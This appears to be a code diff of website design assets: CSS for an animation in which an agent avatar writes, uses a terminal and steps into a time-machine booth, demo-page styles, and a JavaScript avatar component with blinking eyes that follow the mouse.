|
||||||
|
.anim4-window {
|
||||||
|
position: relative;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 舞台:固定 540×380 逻辑尺寸,JS 按容器等比缩放居中(transform: translate+scale) */
|
||||||
|
.anim4-stage {
|
||||||
|
position: absolute;
|
||||||
|
left: 50%;
|
||||||
|
top: 50%;
|
||||||
|
width: 540px;
|
||||||
|
height: 380px;
|
||||||
|
overflow: hidden;
|
||||||
|
user-select: none;
|
||||||
|
-webkit-user-select: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 用户指令气泡(右上角堆叠) ───────── */
|
||||||
|
/* 新气泡从下面浮现,旧的上移跑出可视区(不销毁,倒带时随堆叠回落);
|
||||||
|
容器高度 = 2.5 个气泡 + 间距,顶部渐隐遮罩 = 边缘虚化。
|
||||||
|
进出场全由 JS tween 驱动 margin/transform(rAF 可见时间),不用 CSS transition、不 tween height。 */
|
||||||
|
.anim4-bubbles {
|
||||||
|
position: absolute;
|
||||||
|
right: 8px;
|
||||||
|
top: 2px;
|
||||||
|
width: 248px;
|
||||||
|
height: 84px;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
justify-content: flex-end;
|
||||||
|
overflow: hidden;
|
||||||
|
z-index: 30;
|
||||||
|
-webkit-mask-image: linear-gradient(to bottom, transparent 0, #000 26px);
|
||||||
|
mask-image: linear-gradient(to bottom, transparent 0, #000 26px);
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 单条气泡:风格同 01 的用户气泡(accent 底深字、右下小尾巴),不变色 */
|
||||||
|
.anim4-bubble {
|
||||||
|
flex: none;
|
||||||
|
align-self: flex-end;
|
||||||
|
max-width: 236px; /* 兜底最长指令「我让你整理工作区,不是让你全删了!」17 字单行放下 */
|
||||||
|
margin-top: 6px;
|
||||||
|
padding: 6px 11px;
|
||||||
|
background: var(--accent);
|
||||||
|
color: var(--bg-0);
|
||||||
|
font-size: 12px;
|
||||||
|
line-height: 1.35;
|
||||||
|
border-radius: 10px 10px 3px 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 湮灭碎片:回卷时被时间抹掉的指令字符(逐字 span,JS 物理驱动) */
|
||||||
|
.anim4-shard {
|
||||||
|
position: absolute;
|
||||||
|
left: 0;
|
||||||
|
top: 0;
|
||||||
|
color: var(--accent);
|
||||||
|
font-size: 12px;
|
||||||
|
line-height: 1.35;
|
||||||
|
white-space: nowrap;
|
||||||
|
z-index: 40;
|
||||||
|
pointer-events: none;
|
||||||
|
will-change: transform, opacity;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 纸(3D 斜铺的工作台) / 终端 ───────── */
|
||||||
|
|
||||||
|
.anim4-paper {
|
||||||
|
position: absolute;
|
||||||
|
left: 268px;
|
||||||
|
top: 190px;
|
||||||
|
width: 192px;
|
||||||
|
height: 122px;
|
||||||
|
transform: perspective(760px) rotateX(42deg) rotateZ(-7deg); /* 尺寸/倾斜与 03 一致;位置比 03 低 60px(避让右上气泡区) */
|
||||||
|
z-index: 15;
|
||||||
|
will-change: transform;
|
||||||
|
}
|
||||||
|
|
||||||
|
.anim4-paper-sheet {
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
background: var(--bg-panel);
|
||||||
|
border: 1px solid var(--line);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 18px 16px;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 14px; /* 与 03 纸页行距一致 */
|
||||||
|
transition: background 0.3s ease;
|
||||||
|
}
|
||||||
|
.anim4-paper.is-term .anim4-paper-sheet { background: var(--bg-1); }
|
||||||
|
|
||||||
|
/* 内容行(行宽由 JS 逐帧驱动,不用 transition) */
|
||||||
|
.anim4-pl {
|
||||||
|
position: relative;
|
||||||
|
width: 0; /* 初始是空纸:宽度由 JS 逐帧写入;不写死 100% 会默认撑满 */
|
||||||
|
height: 4px;
|
||||||
|
border-radius: 2px;
|
||||||
|
background: var(--text-3);
|
||||||
|
opacity: 0.75;
|
||||||
|
transition: opacity 0.25s ease;
|
||||||
|
}
|
||||||
|
.anim4-paper.is-term .anim4-pl { opacity: 0; }
|
||||||
|
.anim4-pl-end {
|
||||||
|
position: absolute;
|
||||||
|
right: 0;
|
||||||
|
top: 50%;
|
||||||
|
width: 0;
|
||||||
|
height: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 终端层:叠在纸面上,morph 时淡入 */
|
||||||
|
.anim4-term {
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
padding: 16px 16px;
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 12px;
|
||||||
|
line-height: 1.75;
|
||||||
|
color: var(--text-2);
|
||||||
|
opacity: 0;
|
||||||
|
overflow: hidden; /* 抢救段行多上滚时,裁掉滚出纸面的行 */
|
||||||
|
transition: opacity 0.3s ease;
|
||||||
|
}
|
||||||
|
/* 内容上滚动画在 body 内层做:term 自身 transform 会连同裁剪区一起跑 */
|
||||||
|
.anim4-term-body { transition: transform 0.25s ease; }
|
||||||
|
.anim4-paper.is-term .anim4-term { opacity: 1; }
|
||||||
|
.anim4-term-line {
|
||||||
|
display: flex;
|
||||||
|
align-items: baseline;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
.anim4-term-p { color: var(--accent); margin-right: 6px; }
|
||||||
|
.anim4-term-c { color: var(--text-1); }
|
||||||
|
.anim4-term-out {
|
||||||
|
color: var(--text-3);
|
||||||
|
visibility: hidden;
|
||||||
|
}
|
||||||
|
.anim4-term-out.is-on { visibility: visible; }
|
||||||
|
.anim4-term-new {
|
||||||
|
visibility: hidden;
|
||||||
|
}
|
||||||
|
.anim4-term-new.is-on { visibility: visible; }
|
||||||
|
.anim4-term-caret {
|
||||||
|
display: inline-block;
|
||||||
|
width: 7px;
|
||||||
|
height: 13px;
|
||||||
|
margin-left: 1px;
|
||||||
|
vertical-align: -2px;
|
||||||
|
background: var(--accent);
|
||||||
|
animation: anim4-caret 0.85s steps(1) infinite;
|
||||||
|
}
|
||||||
|
@keyframes anim4-caret { 50% { opacity: 0; } }
|
||||||
|
|
||||||
|
/* ───────── 智能体(全部动作由 JS 逐帧驱动,无 CSS 过渡,防 fill 冲突) ───────── */
|
||||||
|
|
||||||
|
.anim4-agent {
|
||||||
|
position: absolute;
|
||||||
|
left: 0;
|
||||||
|
top: 0;
|
||||||
|
width: 70px;
|
||||||
|
height: 70px;
|
||||||
|
z-index: 35;
|
||||||
|
will-change: transform;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
.anim4-agent-avatar {
|
||||||
|
display: block;
|
||||||
|
width: 70px;
|
||||||
|
height: 70px;
|
||||||
|
color: var(--text-1);
|
||||||
|
}
|
||||||
|
.anim4-agent-avatar .astrion-avatar { width: 100%; height: 100%; }
|
||||||
|
/* 本动画里智能体在纸/终端/亭前活动:六边形填底色遮住后方元素(组件默认 fill:none 是状态栏规格,此处局部覆盖) */
|
||||||
|
.anim4-agent-avatar .aa-frame { fill: var(--bg-0); }
|
||||||
|
|
||||||
|
/* ───────── 笔(结构同 03:外层定位 + 内层绕笔尖摇摆) ───────── */
|
||||||
|
|
||||||
|
.anim4-pen-pos {
|
||||||
|
position: absolute;
|
||||||
|
left: 0;
|
||||||
|
top: 0;
|
||||||
|
z-index: 40;
|
||||||
|
width: 40px;
|
||||||
|
height: 40px;
|
||||||
|
color: var(--accent);
|
||||||
|
will-change: transform;
|
||||||
|
transition: transform 0.45s cubic-bezier(.4, 0, .2, 1); /* 普通飞行用过渡 */
|
||||||
|
}
|
||||||
|
.anim4-pen-pos.is-live { transition: none; } /* 逐帧驱动时关闭过渡 */
|
||||||
|
.anim4-pen {
|
||||||
|
width: 40px;
|
||||||
|
height: 40px;
|
||||||
|
transform-origin: 11% 87.6%; /* 笔尖触点(同 03) */
|
||||||
|
}
|
||||||
|
/* 写字摇晃由 JS 逐帧驱动(振幅包络起止收敛到 0°,见 writeLine),不用 CSS 动画 */
|
||||||
|
/* 甩飞:绕中心翻滚 */
|
||||||
|
.anim4-pen.is-free { transform-origin: 50% 50%; animation: none; }
|
||||||
|
/* 捡笔回正:过渡平滑转正,期间 origin 保持中心(结束移除后 rotate=0 不受 origin 影响) */
|
||||||
|
.anim4-pen.is-returning { transition: transform 0.38s ease; transform-origin: 50% 50%; animation: none; }
|
||||||
|
.anim4-pen-ref { visibility: hidden; fill: none; stroke: none; pointer-events: none; }
|
||||||
|
|
||||||
|
/* ───────── 时光机(整机 2D 矢量化:所有面 JS 手算透视投影、屏幕空间 SVG 绘制) ─────────
|
||||||
|
wrapper 承担 2D 整体运动(下落/浮空/微倾);面的投影由 drawBooth() 每帧按偏航 24°+sway 计算。
|
||||||
|
三层:后层 svg z1(左外墙 + clip 到门洞的内景)< 智能体 z2 < 前层 svg z3(关门即挡住他)。
|
||||||
|
体:96×96×142 正方形柱;正面左右梃各 18 + 门洞 60(双开门);屋顶四棱锥底 108×108 高 28。
|
||||||
|
智能体进出不做消失动画:走进深处被左梃自然遮挡。 */
|
||||||
|
|
||||||
|
.anim4-booth {
|
||||||
|
position: absolute;
|
||||||
|
left: 0;
|
||||||
|
top: 0;
|
||||||
|
width: 150px;
|
||||||
|
height: 220px;
|
||||||
|
z-index: 20;
|
||||||
|
opacity: 0;
|
||||||
|
will-change: transform;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 智能体挂载层:与门洞投影对齐的透明层(投影公式标定),夹在前后两层 svg 之间。
|
||||||
|
无背景无裁剪:室内由内景多边形提供;超出门口的部分被前层双梃/门板自然遮住。 */
|
||||||
|
.anim4-booth-inner {
|
||||||
|
position: absolute;
|
||||||
|
z-index: 2;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 矢量化覆盖层:屏幕空间绘制(原生 AA 永远锐利,根治 3D 纹理重采样锯齿);
|
||||||
|
填色/描边语言延续线稿(bg-1 面 + text-1 棱;内景 bg-0、地板 bg-panel) */
|
||||||
|
.anim4-booth-wire {
|
||||||
|
position: absolute;
|
||||||
|
inset: 0;
|
||||||
|
overflow: visible;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
.anim4-booth-wire-back { z-index: 1; }
|
||||||
|
#boothWireFront { z-index: 3; }
|
||||||
|
.anim4-booth-wire polygon {
|
||||||
|
fill: var(--bg-1);
|
||||||
|
stroke: var(--text-1);
|
||||||
|
stroke-width: 1.6;
|
||||||
|
stroke-linejoin: round;
|
||||||
|
}
|
||||||
|
#bwInBack, #bwInSideR, #bwInCeil { fill: var(--bg-0); }
|
||||||
|
#bwInFloor { fill: var(--bg-panel); }
|
||||||
|
.bw-door-stripe { stroke: var(--text-1); stroke-width: 1.6; }
|
||||||
|
.bw-door-knob { fill: var(--text-1); stroke: none; }
|
||||||
|
#bwRod { stroke: var(--text-1); stroke-width: 2; stroke-linecap: round; }
|
||||||
|
#bwKnob { fill: var(--bg-1); stroke: var(--text-1); stroke-width: 1.6; }
|
||||||
|
|
||||||
|
/* ───────── 地面接触阴影(中性灰,非发光) ───────── */
|
||||||
|
|
||||||
|
.anim4-shadow {
|
||||||
|
position: absolute;
|
||||||
|
height: 10px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background: rgba(0, 0, 0, 0.35);
|
||||||
|
z-index: 5;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
.anim4-shadow-booth { width: 116px; opacity: 0; }
|
||||||
|
.anim4-shadow-agent { width: 56px; opacity: 0; }
|
||||||
1140
website-design/exp/site-assets/anim-version.js
Normal file
35
website-design/exp/site-assets/anim3-demo.css
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
/* 修改记录动画 demo 页壳 —— 布局与 token;动画本体样式在 anim-records.css */
|
||||||
|
|
||||||
|
:root {
|
||||||
|
--bg-0: #0c1120;
|
||||||
|
--bg-1: #111830;
|
||||||
|
--bg-panel: #151c31;
|
||||||
|
--text-1: #eef1f8;
|
||||||
|
--text-2: #a7b0c4;
|
||||||
|
--text-3: #6b7488;
|
||||||
|
--line: rgba(168, 180, 210, 0.14);
|
||||||
|
--accent: #a9c2f0;
|
||||||
|
--accent-strong: #c1d4f6;
|
||||||
|
--ok: #7ba889;
|
||||||
|
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
|
||||||
|
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
|
||||||
|
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: var(--font-sans);
|
||||||
|
background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%);
|
||||||
|
min-height: 100vh;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
color: var(--text-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
|
||||||
|
.hint { font-size: 13px; color: var(--text-3); }
|
||||||
|
|
||||||
|
/* demo 页动画宿主:原尺寸 1:1(不缩放) */
|
||||||
|
.anim-host { width: 540px; height: 380px; }
|
||||||
36
website-design/exp/site-assets/anim4-demo.css
Normal file
@ -0,0 +1,36 @@
|
|||||||
|
/* 版本控制动画 demo 页壳 —— 布局与 token;动画本体样式在 anim-version.css */
|
||||||
|
|
||||||
|
:root {
|
||||||
|
--bg-0: #0c1120;
|
||||||
|
--bg-1: #111830;
|
||||||
|
--bg-panel: #151c31;
|
||||||
|
--text-1: #eef1f8;
|
||||||
|
--text-2: #a7b0c4;
|
||||||
|
--text-3: #6b7488;
|
||||||
|
--line: rgba(168, 180, 210, 0.14);
|
||||||
|
--line-strong: rgba(168, 180, 210, 0.24);
|
||||||
|
--accent: #a9c2f0;
|
||||||
|
--accent-strong: #c1d4f6;
|
||||||
|
--ok: #7ba889;
|
||||||
|
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
|
||||||
|
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
|
||||||
|
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: var(--font-sans);
|
||||||
|
background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%);
|
||||||
|
min-height: 100vh;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
color: var(--text-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
|
||||||
|
.hint { font-size: 13px; color: var(--text-3); }
|
||||||
|
|
||||||
|
/* demo 页动画宿主:原尺寸 1:1(不缩放) */
|
||||||
|
.anim-host { width: 540px; height: 380px; }
|
||||||
47
website-design/exp/site-assets/astrion-avatar.css
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
/* Astrion 品牌形象组件 —— 六边形 + 双眼
|
||||||
|
* 参数精确还原 static/src/components/avatar/StatusAvatar.vue:
|
||||||
|
* viewBox 0 0 200 200,flat-top 圆角正六边形
|
||||||
|
* idle 态:外框 stroke-width 12,眼睛 stroke-width 10,全部 currentColor
|
||||||
|
* 眼睛竖线位于 (84,96) / (116,96),长 22
|
||||||
|
* 颜色永远跟随上下文文字色(currentColor),禁止单独上色。
|
||||||
|
*/
|
||||||
|
|
||||||
|
.astrion-avatar {
|
||||||
|
display: block;
|
||||||
|
color: inherit;
|
||||||
|
overflow: visible;
|
||||||
|
}
|
||||||
|
|
||||||
|
.aa-frame {
|
||||||
|
fill: none;
|
||||||
|
stroke: currentColor;
|
||||||
|
stroke-width: 12;
|
||||||
|
stroke-linecap: round;
|
||||||
|
stroke-linejoin: round;
|
||||||
|
}
|
||||||
|
|
||||||
|
.aa-eye {
|
||||||
|
fill: none;
|
||||||
|
stroke: currentColor;
|
||||||
|
stroke-width: 10;
|
||||||
|
stroke-linecap: round;
|
||||||
|
stroke-linejoin: round;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 思考表情:三个波浪圆点(r=7,位于 80/100/120) */
|
||||||
|
.aa-think-dot {
|
||||||
|
fill: currentColor;
|
||||||
|
animation: aa-think-wave 1.6s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
.aa-think-dot:nth-child(1) { animation-delay: -0.48s; }
|
||||||
|
.aa-think-dot:nth-child(2) { animation-delay: -0.32s; }
|
||||||
|
.aa-think-dot:nth-child(3) { animation-delay: -0.16s; }
|
||||||
|
|
||||||
|
@keyframes aa-think-wave {
|
||||||
|
0%, 100% { transform: translateY(0); }
|
||||||
|
50% { transform: translateY(-12px); }
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (prefers-reduced-motion: reduce) {
|
||||||
|
.aa-think-dot { animation: none; }
|
||||||
|
}
|
||||||
250
website-design/exp/site-assets/astrion-avatar.js
Normal file
@ -0,0 +1,250 @@
|
|||||||
|
/* Astrion 品牌形象组件 —— 渲染 + 眨眼 + 鼠标追踪
|
||||||
|
*
|
||||||
|
* 用法:
|
||||||
|
* AstrionAvatar.mount(el, { mode: 'idle' | 'think', blink: true, track: true })
|
||||||
|
*
|
||||||
|
* idle 模式:竖线双眼,随机眨眼,眼睛组随鼠标方向轻微偏移。
|
||||||
|
* think 模式:三个波浪圆点(不追踪、不眨眼)。
|
||||||
|
*/
|
||||||
|
|
||||||
|
(function () {
|
||||||
|
'use strict';
|
||||||
|
|
||||||
|
var SVG_NS = 'http://www.w3.org/2000/svg';
|
||||||
|
|
||||||
|
// —— 精确还原 StatusAvatar.vue 的几何参数 ——
|
||||||
|
var FRAME_PATH =
|
||||||
|
'M 175.959,107.000 Q 180.000,100.000 175.959,93.000 ' +
|
||||||
|
'L 144.041,37.718 Q 140.000,30.718 131.917,30.718 ' +
|
||||||
|
'L 68.083,30.718 Q 60.000,30.718 55.959,37.718 ' +
|
||||||
|
'L 24.041,93.000 Q 20.000,100.000 24.041,107.000 ' +
|
||||||
|
'L 55.959,162.282 Q 60.000,169.282 68.083,169.282 ' +
|
||||||
|
'L 131.917,169.282 Q 140.000,169.282 144.041,162.282 Z';
|
||||||
|
|
||||||
|
// 眼睛 path 的 18 个数字:M a,b Q c,d e,f Q g,h i,j Q k,l m,n Q o,p q,r
|
||||||
|
var EYE_IDLE = [0, -11, 0, -5.5, 0, 0, 0, 5.5, 0, 11, 0, 5.5, 0, 0, 0, -5.5, 0, -11];
|
||||||
|
var EYE_BLINK = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
|
||||||
|
var EYE_LEFT = { x: 84, y: 96 };
|
||||||
|
var EYE_RIGHT = { x: 116, y: 96 };
|
||||||
|
|
||||||
|
// 鼠标追踪参数(viewBox 单位)
|
||||||
|
var TRACK_MAX = 7; // 最大偏移
|
||||||
|
var TRACK_RANGE = 140; // 屏幕 px 内达到最大偏移
|
||||||
|
var TRACK_LERP = 0.14;
|
||||||
|
|
||||||
|
function eyePathD(n) {
|
||||||
|
return (
|
||||||
|
'M ' + n[0] + ',' + n[1] +
|
||||||
|
' Q ' + n[2] + ',' + n[3] + ' ' + n[4] + ',' + n[5] +
|
||||||
|
' Q ' + n[6] + ',' + n[7] + ' ' + n[8] + ',' + n[9] +
|
||||||
|
' Q ' + n[10] + ',' + n[11] + ' ' + n[12] + ',' + n[13] +
|
||||||
|
' Q ' + n[14] + ',' + n[15] + ' ' + n[16] + ',' + n[17]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function svgEl(tag, attrs) {
|
||||||
|
var el = document.createElementNS(SVG_NS, tag);
|
||||||
|
for (var k in attrs) el.setAttribute(k, attrs[k]);
|
||||||
|
return el;
|
||||||
|
}
|
||||||
|
|
||||||
|
// —— 眨眼 morph:同构 path 数字线性插值 ——
|
||||||
|
function morphEyes(eyes, from, to, duration, done) {
|
||||||
|
var start = null;
|
||||||
|
function step(ts) {
|
||||||
|
if (!start) start = ts;
|
||||||
|
var t = Math.min((ts - start) / duration, 1);
|
||||||
|
var e = t < 0.5 ? 2 * t * t : 1 - Math.pow(-2 * t + 2, 2) / 2; // easeInOutQuad
|
||||||
|
var cur = from.map(function (v, i) { return v + (to[i] - v) * e; });
|
||||||
|
var d = eyePathD(cur);
|
||||||
|
eyes[0].setAttribute('d', d);
|
||||||
|
eyes[1].setAttribute('d', d);
|
||||||
|
if (t < 1) requestAnimationFrame(step);
|
||||||
|
else if (done) done();
|
||||||
|
}
|
||||||
|
requestAnimationFrame(step);
|
||||||
|
}
|
||||||
|
|
||||||
|
// —— 全局注视驱动(单 rAF 循环驱动所有实例) ——
|
||||||
|
// 每个实例二选一:useMouse 跟随鼠标;或 manual 目标(动画模块用 handle().lookAt 驱动)
|
||||||
|
var tracked = [];
|
||||||
|
var mouse = { x: -9999, y: -9999 };
|
||||||
|
var rafRunning = false;
|
||||||
|
|
||||||
|
function trackLoop() {
|
||||||
|
for (var i = 0; i < tracked.length; i++) {
|
||||||
|
var inst = tracked[i];
|
||||||
|
if (!document.contains(inst.svg)) { tracked.splice(i--, 1); continue; }
|
||||||
|
var tx, ty;
|
||||||
|
if (inst.manual) {
|
||||||
|
tx = inst.manual.x;
|
||||||
|
ty = inst.manual.y;
|
||||||
|
} else if (inst.useMouse) {
|
||||||
|
var rect = inst.svg.getBoundingClientRect();
|
||||||
|
if (rect.width === 0) continue;
|
||||||
|
var cx = rect.left + rect.width / 2;
|
||||||
|
var cy = rect.top + rect.height / 2;
|
||||||
|
var dx = mouse.x - cx;
|
||||||
|
var dy = mouse.y - cy;
|
||||||
|
var dist = Math.hypot(dx, dy) || 1;
|
||||||
|
var reach = Math.min(dist / TRACK_RANGE, 1) * TRACK_MAX;
|
||||||
|
tx = (dx / dist) * reach;
|
||||||
|
ty = (dy / dist) * reach;
|
||||||
|
} else {
|
||||||
|
tx = 0;
|
||||||
|
ty = 0;
|
||||||
|
}
|
||||||
|
inst.cur.x += (tx - inst.cur.x) * TRACK_LERP;
|
||||||
|
inst.cur.y += (ty - inst.cur.y) * TRACK_LERP;
|
||||||
|
inst.eyes.setAttribute(
|
||||||
|
'transform',
|
||||||
|
'translate(' + inst.cur.x.toFixed(2) + ',' + inst.cur.y.toFixed(2) + ')'
|
||||||
|
);
|
||||||
|
}
|
||||||
|
if (tracked.length > 0) requestAnimationFrame(trackLoop);
|
||||||
|
else rafRunning = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
window.addEventListener('mousemove', function (e) {
|
||||||
|
mouse.x = e.clientX;
|
||||||
|
mouse.y = e.clientY;
|
||||||
|
}, { passive: true });
|
||||||
|
|
||||||
|
function mount(el, opts) {
|
||||||
|
opts = opts || {};
|
||||||
|
var mode = opts.mode || 'idle';
|
||||||
|
var svg = svgEl('svg', {
|
||||||
|
class: 'astrion-avatar',
|
||||||
|
viewBox: '0 0 200 200',
|
||||||
|
'aria-hidden': 'true'
|
||||||
|
});
|
||||||
|
svg.appendChild(svgEl('path', { class: 'aa-frame', d: FRAME_PATH }));
|
||||||
|
|
||||||
|
if (mode === 'think') {
|
||||||
|
var think = svgEl('g', { class: 'aa-think' });
|
||||||
|
[80, 100, 120].forEach(function (x) {
|
||||||
|
think.appendChild(svgEl('circle', { class: 'aa-think-dot', cx: x, cy: 100, r: 7 }));
|
||||||
|
});
|
||||||
|
svg.appendChild(think);
|
||||||
|
} else {
|
||||||
|
var eyes = svgEl('g', { class: 'aa-eyes' });
|
||||||
|
var eyeL = svgEl('path', {
|
||||||
|
class: 'aa-eye',
|
||||||
|
transform: 'translate(' + EYE_LEFT.x + ',' + EYE_LEFT.y + ')',
|
||||||
|
d: eyePathD(EYE_IDLE)
|
||||||
|
});
|
||||||
|
var eyeR = svgEl('path', {
|
||||||
|
class: 'aa-eye',
|
||||||
|
transform: 'translate(' + EYE_RIGHT.x + ',' + EYE_RIGHT.y + ')',
|
||||||
|
d: eyePathD(EYE_IDLE)
|
||||||
|
});
|
||||||
|
eyes.appendChild(eyeL);
|
||||||
|
eyes.appendChild(eyeR);
|
||||||
|
svg.appendChild(eyes);
|
||||||
|
|
||||||
|
var pair = [eyeL, eyeR];
|
||||||
|
|
||||||
|
if (opts.blink !== false) {
|
||||||
|
(function scheduleBlink() {
|
||||||
|
var delay = 2200 + Math.random() * 2600;
|
||||||
|
setTimeout(function () {
|
||||||
|
if (!document.contains(svg)) return;
|
||||||
|
morphEyes(pair, EYE_IDLE, EYE_BLINK, 120, function () {
|
||||||
|
setTimeout(function () {
|
||||||
|
morphEyes(pair, EYE_BLINK, EYE_IDLE, 170, scheduleBlink);
|
||||||
|
}, 60);
|
||||||
|
});
|
||||||
|
}, delay);
|
||||||
|
})();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 所有 idle 实例都注册进驱动循环:useMouse=false 时由 handle().lookAt 手动驱动
|
||||||
|
var inst = {
|
||||||
|
svg: svg,
|
||||||
|
eyes: eyes,
|
||||||
|
eyeL: eyeL,
|
||||||
|
eyeR: eyeR,
|
||||||
|
cur: { x: 0, y: 0 },
|
||||||
|
manual: null,
|
||||||
|
useMouse: opts.track !== false,
|
||||||
|
pathNums: EYE_IDLE.slice(),
|
||||||
|
morphToken: 0
|
||||||
|
};
|
||||||
|
svg._aaInst = inst;
|
||||||
|
tracked.push(inst);
|
||||||
|
if (!rafRunning) {
|
||||||
|
rafRunning = true;
|
||||||
|
requestAnimationFrame(trackLoop);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
el.appendChild(svg);
|
||||||
|
return svg;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 动画模块用的眼睛控制手柄(仅 idle 模式实例可用):
|
||||||
|
lookAt(dx,dy) 直接给 viewBox 偏移;lookAtPoint(cx,cy) 看向屏幕某点;
|
||||||
|
morphEyesTo(nums,ms) 眼睛形状渐变(困眼/瞪眼);setEyePath 瞬切。 */
|
||||||
|
function handle(svg) {
|
||||||
|
var inst = svg && svg._aaInst;
|
||||||
|
if (!inst) return null;
|
||||||
|
var h = {
|
||||||
|
lookAt: function (dx, dy) {
|
||||||
|
var m = Math.hypot(dx, dy);
|
||||||
|
if (m > TRACK_MAX) { dx = (dx / m) * TRACK_MAX; dy = (dy / m) * TRACK_MAX; }
|
||||||
|
inst.manual = { x: dx, y: dy };
|
||||||
|
},
|
||||||
|
lookAtPoint: function (clientX, clientY) {
|
||||||
|
var rect = inst.svg.getBoundingClientRect();
|
||||||
|
if (rect.width === 0) return;
|
||||||
|
var cx = rect.left + rect.width / 2;
|
||||||
|
var cy = rect.top + rect.height / 2;
|
||||||
|
var dx = (clientX - cx) / (rect.width / 200);
|
||||||
|
var dy = (clientY - cy) / (rect.height / 200);
|
||||||
|
var d = Math.hypot(dx, dy) || 1;
|
||||||
|
var s = Math.min(d / 60, 1); /* 60 个 viewBox 单位外达到最大注视 */
|
||||||
|
h.lookAt((dx / d) * TRACK_MAX * s, (dy / d) * TRACK_MAX * s);
|
||||||
|
},
|
||||||
|
releaseLook: function () { inst.manual = null; },
|
||||||
|
setEyePath: function (nums) {
|
||||||
|
inst.morphToken++;
|
||||||
|
inst.pathNums = nums.slice();
|
||||||
|
var d = eyePathD(nums);
|
||||||
|
inst.eyeL.setAttribute('d', d);
|
||||||
|
inst.eyeR.setAttribute('d', d);
|
||||||
|
},
|
||||||
|
morphEyesTo: function (nums, ms, done) {
|
||||||
|
var token = ++inst.morphToken;
|
||||||
|
var from = inst.pathNums.slice();
|
||||||
|
var start = null;
|
||||||
|
function stepFn(ts) {
|
||||||
|
if (token !== inst.morphToken) return; /* 被更新的 morph 接管,静默退出 */
|
||||||
|
if (!start) start = ts;
|
||||||
|
var t = Math.min((ts - start) / ms, 1);
|
||||||
|
var e = t < 0.5 ? 2 * t * t : 1 - Math.pow(-2 * t + 2, 2) / 2;
|
||||||
|
var cur = from.map(function (v, i) { return v + (nums[i] - v) * e; });
|
||||||
|
var d = eyePathD(cur);
|
||||||
|
inst.eyeL.setAttribute('d', d);
|
||||||
|
inst.eyeR.setAttribute('d', d);
|
||||||
|
if (t < 1) requestAnimationFrame(stepFn);
|
||||||
|
else { inst.pathNums = nums.slice(); if (done) done(); }
|
||||||
|
}
|
||||||
|
requestAnimationFrame(stepFn);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 由 IDLE 眼睛派生缩放版本(困=缩短,瞪=加长):只缩放 y 分量(x 分量全为 0) */
|
||||||
|
function eyeScale(k) {
|
||||||
|
return EYE_IDLE.map(function (v, i) { return i % 2 ? v * k : v; });
|
||||||
|
}
|
||||||
|
|
||||||
|
window.AstrionAvatar = {
|
||||||
|
mount: mount,
|
||||||
|
handle: handle,
|
||||||
|
eyeScale: eyeScale,
|
||||||
|
EYE_IDLE: EYE_IDLE,
|
||||||
|
EYE_BLINK: EYE_BLINK
|
||||||
|
};
|
||||||
|
})();
|
||||||
1
website-design/exp/site-assets/shield.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
